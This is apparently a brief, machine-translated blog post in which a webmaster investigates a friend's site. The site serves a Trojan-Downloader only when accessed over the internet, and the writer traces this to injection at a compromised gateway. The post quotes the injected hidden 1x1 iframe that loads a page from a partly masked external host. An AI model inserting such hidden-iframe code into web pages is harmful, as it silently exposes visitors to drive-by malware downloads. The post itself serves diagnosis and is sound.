VISON said that his website seemed to have a virus, and the firewall alarm: Trojan horse program Trojan-Downloader.JS.Agent.bz.

I took a look, and it was true. Looking at the code, it was inserted:

< iFrAmE SRc=http://cool.*****. com/k.htm width=1 height=1 frameborder=0></IfRaMe>

(* Part: 47555)

I thought that there was a loophole in the program that had been hung up by someone, so I dragged the entire station down to search for it, but I didn't find it.

After looking carefully several times, I found that the source code was normal and there was no problem with local access. However, as long as you put it online and access it, it would automatically replace parts of the code with malicious code fragments.

Symptoms are:
There is no problem opening it in a browser on the server
There is no problem using the editor to view the source code directly on the server
However, there is a problem when browsing it on the Internet

. It seems that someone must have planted a Trojan horse into the gateway of the computer room. When data passes through, the code is automatically inserted.